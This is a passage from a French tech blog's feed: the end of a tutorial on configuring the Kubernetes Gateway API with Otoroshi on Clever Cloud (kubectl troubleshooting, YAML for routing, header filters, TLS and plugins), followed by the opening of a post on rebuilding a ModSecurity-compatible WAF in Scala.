&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; httproute&lt;/span&gt;&lt;span&gt; my-route&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;span&gt; -o&lt;/span&gt;&lt;span&gt; yaml&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Les champs &lt;code&gt;status.conditions&lt;/code&gt; vous indiquent précisément ce qui ne va pas. Problèmes fréquents :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;GatewayClass: Accepted: False&lt;/code&gt; → le &lt;code&gt;controllerName&lt;/code&gt; ne correspond pas&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Gateway Listener: Programmed: False&lt;/code&gt; → le port indiqué dans la spec de la Gateway ne correspond pas à &lt;code&gt;gatewayApiHttpListenerPort&lt;/code&gt; dans la configuration d’Otoroshi&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;HTTPRoute: Accepted: False&lt;/code&gt; → le &lt;code&gt;parentRef&lt;/code&gt; est incorrect ou le namespace n’est pas autorisé par les &lt;code&gt;allowedRoutes&lt;/code&gt; de la Gateway&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Vérifiez les routes générées dans Otoroshi :&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -s&lt;/span&gt;&lt;span&gt; http://&lt;/span&gt;&lt;span&gt;&amp;#x3C;&lt;/span&gt;&lt;span&gt;otoroshi-service-i&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;&gt;&lt;/span&gt;&lt;span&gt;:8080/api/routes&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  -u&lt;/span&gt;&lt;span&gt; admin-api-apikey-id:admin-api-apikey-secret&lt;/span&gt;&lt;span&gt; |&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  jq&lt;/span&gt;&lt;span&gt; &apos;.[] | select(.metadata[&quot;otoroshi-provider&quot;] == &quot;kubernetes-gateway-api&quot;) | {id, name}&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Si la route a été générée, elle apparaîtra ici. Si la liste est vide, c’est que la réconciliation n’a pas encore eu lieu ou qu’elle a rencontré une erreur.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Vérifiez que le pod backend tourne :&lt;/strong&gt;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;bash&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; pods&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kubectl&lt;/span&gt;&lt;span&gt; get&lt;/span&gt;&lt;span&gt; service&lt;/span&gt;&lt;span&gt; whoami&lt;/span&gt;&lt;span&gt; -n&lt;/span&gt;&lt;span&gt; demo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Si le pod n’est pas prêt ou si le sélecteur du service ne correspond pas aux pods, vous obtiendrez des 503.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;aller-plus-loin--que-peut-on-faire-dautre-&quot;&gt;Aller plus loin : que peut-on faire d’autre ?&lt;/h2&gt;
&lt;p&gt;Ce que je vous ai montré ici, ce sont les bases : router du trafic HTTP d’un nom d’hôte et d’un chemin vers un service backend. Mais le support de la Gateway API dans Otoroshi va bien plus loin.&lt;/p&gt;
&lt;h3 id=&quot;découpage-du-trafic-pour-les-déploiements-canary&quot;&gt;Découpage du trafic pour les déploiements canary&lt;/h3&gt;
&lt;p&gt;Le champ &lt;code&gt;weight&lt;/code&gt; de &lt;code&gt;backendRefs&lt;/code&gt; vous permet de répartir le trafic entre plusieurs versions d’un service :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;backendRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-service-v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    weight&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;90&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-service-v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    weight&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cela envoie 90 % du trafic vers la v1 et 10 % vers la v2 — un schéma classique de déploiement canary, entièrement configuré de façon déclarative.&lt;/p&gt;
&lt;h3 id=&quot;manipulation-des-en-têtes&quot;&gt;Manipulation des en-têtes&lt;/h3&gt;
&lt;p&gt;Des filtres intégrés vous permettent d’ajouter, de modifier ou de supprimer des en-têtes de requête et de réponse :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;filters&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;RequestHeaderModifier&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    requestHeaderModifier&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      add&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;X-Request-Source&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      remove&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - &lt;/span&gt;&lt;span&gt;X-Internal-Secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  backendRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-service&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;80&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;redirections-et-réécritures-durl&quot;&gt;Redirections et réécritures d’URL&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;rules&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;matches&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;path&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;PathPrefix&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      value&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;/old-api&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  filters&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;RequestRedirect&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    requestRedirect&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      scheme&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      statusCode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;301&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;étendre-avec-les-plugins-otoroshi&quot;&gt;Étendre avec les plugins Otoroshi&lt;/h3&gt;
&lt;p&gt;C’est là que ça devient vraiment puissant. Vous pouvez brancher le système de plugins d’Otoroshi sur les routes via des annotations :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPRoute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-secure-route&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;demo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  annotations&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    proxy.otoroshi.io/route-plugins&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;plugin&quot;: &quot;cp:otoroshi.next.plugins.ApikeyCalls&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;enabled&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          &quot;config&quot;: {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  # ... rest of the HTTPRoute&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cette annotation impose l’authentification par clé d’API sur la route — en s’appuyant sur tout l’écosystème de plugins d’Otoroshi, accessible via une simple annotation Kubernetes standard. Vous pouvez ajouter de cette façon du rate limiting, de la validation JWT, des règles WAF, et n’importe lequel des plus de 200 plugins d’Otoroshi.&lt;/p&gt;
&lt;h3 id=&quot;routage-entre-namespaces&quot;&gt;Routage entre namespaces&lt;/h3&gt;
&lt;p&gt;Si votre HTTPRoute se trouve dans un namespace différent de celui du Service backend, il vous faut un &lt;code&gt;ReferenceGrant&lt;/code&gt; dans le namespace cible :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;apiVersion&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io/v1beta1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;ReferenceGrant&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;metadata&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;allow-from-frontend&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;backend&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;spec&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  from&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;group&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;gateway.networking.k8s.io&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPRoute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    namespace&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;frontend&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  to&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  - &lt;/span&gt;&lt;span&gt;group&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    kind&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Service&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;terminaison-httpstls&quot;&gt;Terminaison HTTPS/TLS&lt;/h3&gt;
&lt;p&gt;Pour terminer le TLS au niveau d’Otoroshi, référencez un secret TLS Kubernetes dans le listener de votre Gateway :&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark-default&quot; tabindex=&quot;0&quot; data-language=&quot;yaml&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;listeners&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;- &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;https&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  protocol&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;HTTPS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  port&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;443&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  hostname&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;&quot;*.example.com&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  tls&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    mode&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;Terminate&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    certificateRefs&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    - &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;my-tls-secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  allowedRoutes&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    namespaces&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      from&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;All&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Otoroshi importera le certificat depuis le Secret et prendra en charge la terminaison TLS pour toutes les routes rattachées à ce listener.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;en-conclusion&quot;&gt;En conclusion&lt;/h2&gt;
&lt;p&gt;C’est une installation qui fonctionne vraiment, et qui fonctionne bien.&lt;/p&gt;
&lt;p&gt;CKE vous fournit un cluster Kubernetes prêt pour la production en quelques minutes. La commande &lt;code&gt;clever k8s create&lt;/code&gt;, l’abstraction NodeGroup pour les pools de workers, le provisionnement automatique du load balancer : c’est rapide, propre, et il y a très peu de friction entre « je veux un cluster » et « j’ai un cluster ». Si vous utilisez déjà Clever Cloud pour vos autres workloads, CKE s’intègre directement dans votre workflow existant, sans la moindre surprise.&lt;/p&gt;
&lt;p&gt;L’implémentation de la Gateway API dans Otoroshi tient exactement ses promesses : une réconciliation rapide (les changements se propagent en quelques secondes avec &lt;code&gt;gatewayApiWatch: true&lt;/code&gt;), des mises à jour de statut précises sur les ressources GatewayClass, Gateway et HTTPRoute, qui simplifient le débogage, et un accès complet à l’écosystème de plugins d’Otoroshi via les annotations. Toute la surface de routage, de sécurité et de gestion du trafic d’Otoroshi — plus de 200 plugins — est disponible depuis des manifestes Kubernetes standard. L’implémentation fonctionne exactement comme prévu.&lt;/p&gt;
&lt;p&gt;Toute la stack s’assemble proprement : quelques commandes &lt;code&gt;kubectl&lt;/code&gt;, une poignée de manifestes YAML, et vous disposez d’une API gateway pleinement fonctionnelle, intégrée au standard Gateway API de Kubernetes. Si vous connaissez déjà Otoroshi — ce qui est fort possible si vous utilisez Clever Cloud, puisqu’il y est disponible en add-on —, la courbe d’apprentissage est quasi nulle. Vous exprimez simplement ce qu’Otoroshi sait déjà faire, à la manière standard de Kubernetes.&lt;/p&gt;
&lt;p&gt;L’ère des ressources Ingress surchargées d’annotations et de l’enfermement propre à chaque contrôleur touche à sa fin. La Gateway API est la voie à suivre et, avec Otoroshi sur CKE, le chemin pour y arriver est tout tracé.&lt;/p&gt;
&lt;p&gt;Si vous avez des questions, si vous rencontrez des problèmes ou si vous voulez partager ce que vous construisez avec cette stack, contactez-nous chez &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt;. Nous sommes toujours ravis de parler réseau Kubernetes, API gateways et de tout ce qui touche à Otoroshi.&lt;/p&gt;
&lt;h2 id=&quot;ressources&quot;&gt;Ressources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.clever.cloud/developers/doc/kubernetes&quot;&gt;Documentation Kubernetes de Clever Cloud&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/otoroshi/manual/index.html&quot;&gt;Documentation d’Otoroshi&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/otoroshi/manual/features.html&quot;&gt;Vue d’ensemble des fonctionnalités d’Otoroshi&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/otoroshi/manual/deploy/kubernetes.html&quot;&gt;Guide de déploiement d’Otoroshi sur Kubernetes&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://maif.github.io/otoroshi/manual/topics/kubernetes-gateway-api.html&quot;&gt;Intégration Gateway API d’Otoroshi&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://gateway-api.sigs.k8s.io/&quot;&gt;Documentation officielle de la Gateway API de Kubernetes&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/kubernetes-sigs/gateway-api/releases/tag/v1.4.0&quot;&gt;Release v1.4.0 de la Gateway API&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content:encoded><dc:creator>Mathieu Ancelin</dc:creator><dc:language>fr</dc:language><category>Kubernetes</category><category>k8s</category><category>Gateway API</category><category>Gateway</category><category>Otoroshi</category><category>APIM</category><category>Cloud APIM</category><category>Clever Cloud</category><category>Ingress</category><enclosure url="https://blog.cloud-apim.com/_astro/cover.CgCJpA4s_1nIcXj.jpg" length="0" type="image/jpeg"/></item><item><title>Construire un WAF natif pour la JVM : du WASM au pur Scala</title><link>https://blog.cloud-apim.com/construire-un-waf-natif-jvm-du-wasm-au-scala</link><guid isPermaLink="true">https://blog.cloud-apim.com/construire-un-waf-natif-jvm-du-wasm-au-scala</guid><description>Comment j&apos;ai passé mes vacances de Noël à construire, (presque) de zéro, un Web Application Firewall compatible SecLang.</description><pubDate>Tue, 03 Feb 2026 07:00:13 GMT</pubDate><content:encoded>&lt;p&gt;Depuis deux ans, &lt;a href=&quot;https://www.otoroshi.io/&quot;&gt;Otoroshi&lt;/a&gt; dispose d’un Web Application Firewall propulsé par &lt;a href=&quot;https://coraza.io/&quot;&gt;Coraza&lt;/a&gt;, l’excellente implémentation de ModSecurity écrite en Go. Pour y parvenir, nous avions compilé Coraza en WebAssembly (wasm) et nous l’exécutions dans Otoroshi grâce à &lt;a href=&quot;https://github.com/MAIF/wasm4s&quot;&gt;wasm4s&lt;/a&gt;, notre orchestrateur de machines virtuelles wasm. Cela fonctionnait vraiment très bien, surtout avec peu de configurations de WAF. Mais à mesure que le nombre de configurations de WAF et d’instances de VM WASM concurrentes montait à plusieurs centaines, les premières fissures sont apparues. À cause de la nature stateful de l’intégration WASM de Coraza, une configuration (une liste d’instructions SecLang, généralement différente pour chaque tenant) est liée à une VM WASM. Impossible d’initialiser une VM WASM générique puis de lui injecter dynamiquement une configuration différente à chaque évaluation. Forcément, avec des centaines de configurations possibles, la mémoire a explosé, la latence a augmenté et les configurations sont devenues ingérables.&lt;/p&gt;
&lt;p&gt;Voici comment j’ai construit un moteur SecLang complet en Scala pendant mes vacances de Noël (enfin, vous voyez, une fois les enfants couchés !), pourquoi je l’ai fait, et tous les défis techniques rencontrés en chemin.&lt;/p&gt;
&lt;h2 id=&quot;le-problème-des-waf-basés-sur-wasm&quot;&gt;Le problème des WAF basés sur WASM&lt;/h2&gt;
&lt;p&gt;Avant de plonger dans la solution, laissez-moi expliquer pourquoi nous en avions besoin.&lt;/p&gt;
&lt;p&gt;Notre intégration de Coraza en WASM souffrait de plusieurs défauts :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Exécution mono-thread&lt;/strong&gt; : WASM est par nature mono-thread. Pour traiter des requêtes concurrentes, nous devions démarrer plusieurs machines virtuelles WASM par configuration de WAF.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Empreinte mémoire&lt;/strong&gt; : chaque instance WASM charge un binaire d’environ 20 Mo. Multipliez cela par le nombre d’instances nécessaires pour le multi-tenant et la concurrence, et la consommation mémoire grimpe très vite.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Coût de sérialisation&lt;/strong&gt; : chaque requête devait être sérialisée depuis des objets JVM vers des structures compatibles WASM, traitée, puis désérialisée en retour. À grande échelle, ce ballet de sérialisation est devenu un goulot d’étranglement mesurable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Duplication de la configuration&lt;/strong&gt; : chaque instance WASM avait besoin de sa propre copie des règles. Aucun partage, aucun cache, aucune composition.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;En bref : WASM a réglé la question de la portabilité, mais a révélé des limites de scalabilité dans notre modèle de configuration multi-tenant, très spécifique, chez &lt;a href=&quot;https://www.cloud-apim.com/fr&quot;&gt;Cloud APIM&lt;/a&gt;. Il nous fallait une implémentation native pour la JVM : thread-safe, économe en mémoire, et conçue pour des environnements multi-tenant où les configurations peuvent être partagées et composées. À cette échelle, le facteur limitant n’était pas WebAssembly en lui-même, mais la façon dont les environnements d’exécution et les configurations étaient couplés.&lt;/p&gt;
&lt;h2 id=&quot;comprendre-le-paysage--modsecurity-seclang-et-coreruleset&quot;&gt;Comprendre le paysage : ModSecurity, SecLang et CoreRuleSet&lt;/h2&gt;
&lt;p&gt;Avant d’expliquer comment j’ai construit la solution, faisons un rapide tour de l’écosystème pour partir sur les mêmes bases.&lt;/p&gt;
&lt;h3 id=&quot;modsecurity--le-grand-père-des-waf&quot;&gt;ModSecurity : le grand-père des WAF&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/owasp-modsecurity/ModSecurity&quot;&gt;ModSecurity&lt;/a&gt; est le Web Application Firewall open source le plus déployé. Créé à l’origine pour Apache en 2002, il est ensuite devenu une bibliothèque autonome qui peut être embarquée dans n’importe quel serveur web ou proxy.&lt;/p&gt;
&lt;p&gt;ModSecurity ne bloque pas les attaques à lui seul : il fournit le &lt;em&gt;moteur&lt;/em&gt;. Vous lui donnez des règles, et il évalue les requêtes entrantes au regard de ces règles.&lt;/p&gt;
&lt;h3 id=&quot;seclang--le-langage-de-règles&quot;&gt;SecLang : le langage de règles&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/owasp-modsecurity/ModSecurity/wiki/Reference-Manual-%28v3.x%29&quot;&gt;SecLang&lt;/a&gt; (ou « SecRule Language ») est le langage dédié utilisé pour écrire les règles ModSecurity. C’est devenu un standard de fait : pratiquement toutes les implémentations de WAF sérieuses comprennent les règles SecLang.&lt;/p&gt;
